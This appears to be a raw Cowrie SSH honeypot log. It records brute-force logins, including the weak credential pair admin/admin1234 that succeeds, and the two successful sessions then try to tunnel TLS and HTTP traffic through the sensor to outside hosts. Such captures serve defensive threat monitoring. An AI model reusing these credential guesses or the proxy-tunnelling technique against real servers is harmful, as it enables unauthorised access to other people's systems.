{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:09.969179Z","src_ip":"38.93.206.2","session":"0cb0dc890d07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:10.019100Z","src_ip":"38.93.206.2","session":"0cb0dc890d07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12071982","message":"login attempt [root/12071982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:10.175299Z","src_ip":"38.93.206.2","session":"0cb0dc890d07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":63309,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d8979449a24","protocol":"ssh","message":"New connection: 123.27.168.40:63309 (10.17.0.5:22) [session: 7d8979449a24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:10.540661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:10.549706Z","src_ip":"123.27.168.40","session":"7d8979449a24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:10.798234Z","src_ip":"123.27.168.40","session":"7d8979449a24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:11.231405Z","src_ip":"38.93.206.2","session":"0cb0dc890d07","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:11.847032Z","src_ip":"123.27.168.40","session":"7d8979449a24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:12.336357Z","session":"7d8979449a24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:12.578027Z","src_ip":"123.27.168.40","session":"7d8979449a24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc6\\xd2\\xb4\\xfd.\\xad\\xd2j\\xfeb]\\xe3J\\xb7]\\xb9F\\xee\\xeb\\xf2\\x03\\xb4'\\xcb\\x8d\\x9b\\xd5\\xce\\x1f\\xa1\\r\\xa8 \\xf6\\n\\x94\\x83\\xbc\\x8eL\\xb8\\xdb\\xa1@z\\xf3\\xad\\xfc\\t\\xaa\\xe91\\xcb\\x108\\x8e\\xaf\\xdd\\xec\\xdf\\x8aX\\xa9\\xd3\\xdc\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe3\\t\\x05\\x0e\\x95p0\\xa4\\x86\\xe7\\xd4P\\xbc=\\xfa1\\x16z\\xb7w\\xb5\\xbc\\x1c8\\x9a\\xee\\x884|\\xd6\\xd8\\x10\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc6\\xd2\\xb4\\xfd.\\xad\\xd2j\\xfeb]\\xe3J\\xb7]\\xb9F\\xee\\xeb\\xf2\\x03\\xb4'\\xcb\\x8d\\x9b\\xd5\\xce\\x1f\\xa1\\r\\xa8 \\xf6\\n\\x94\\x83\\xbc\\x8eL\\xb8\\xdb\\xa1@z\\xf3\\xad\\xfc\\t\\xaa\\xe91\\xcb\\x108\\x8e\\xaf\\xdd\\xec\\xdf\\x8aX\\xa9\\xd3\\xdc\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe3\\t\\x05\\x0e\\x95p0\\xa4\\x86\\xe7\\xd4P\\xbc=\\xfa1\\x16z\\xb7w\\xb5\\xbc\\x1c8\\x9a\\xee\\x884|\\xd6\\xd8\\x10\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:12.581128Z","src_ip":"123.27.168.40","session":"7d8979449a24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:12.825297Z","session":"7d8979449a24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:13.071220Z","src_ip":"123.27.168.40","session":"7d8979449a24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03wq\\x1a<TQ\\xa3\\x90\\x03V\\xce\\xdc\\x9d\\xa3K\\x97\\xd8\\xa1C\\xa2\\x14\\xdb\\xd1\\xad\\xa2\\x82\\xc4\\xe7V\\xd7Uw \\xcdU^L\\x0f\\xa9\\xc6Ci\\xda5\\xdal\\xe1\\xfd#\\x93\\xf5\\x03\\xc9Ts\\xd3\\x91}\\x10\\x9e\\xebD\\xe5*\\xa8\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 K\\'\\xa4\\xfd&[w\\xf6\\xe4n\\xe8\\x96\\x1a\\xd9uUK\\x13\\xc2\\xd2\\x8f\\xa1\\xbb\\xf8`\\x19Hl\\x16\\x12\\xd1\\x1e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03wq\\x1a<TQ\\xa3\\x90\\x03V\\xce\\xdc\\x9d\\xa3K\\x97\\xd8\\xa1C\\xa2\\x14\\xdb\\xd1\\xad\\xa2\\x82\\xc4\\xe7V\\xd7Uw \\xcdU^L\\x0f\\xa9\\xc6Ci\\xda5\\xdal\\xe1\\xfd#\\x93\\xf5\\x03\\xc9Ts\\xd3\\x91}\\x10\\x9e\\xebD\\xe5*\\xa8\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 K\\'\\xa4\\xfd&[w\\xf6\\xe4n\\xe8\\x96\\x1a\\xd9uUK\\x13\\xc2\\xd2\\x8f\\xa1\\xbb\\xf8`\\x19Hl\\x16\\x12\\xd1\\x1e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:13.074547Z","src_ip":"123.27.168.40","session":"7d8979449a24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":61787,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a7a8f6abceb","protocol":"ssh","message":"New connection: 113.164.152.20:61787 (10.17.0.5:22) [session: 3a7a8f6abceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:13.392754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:13.397752Z","src_ip":"113.164.152.20","session":"3a7a8f6abceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:13.446546Z","src_ip":"123.27.168.40","session":"7d8979449a24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:13.708493Z","src_ip":"113.164.152.20","session":"3a7a8f6abceb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:14.993492Z","src_ip":"113.164.152.20","session":"3a7a8f6abceb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:15.397865Z","session":"3a7a8f6abceb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:15.510187Z","session":"3a7a8f6abceb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:16.033755Z","src_ip":"113.164.152.20","session":"3a7a8f6abceb","protocol":"ssh"}
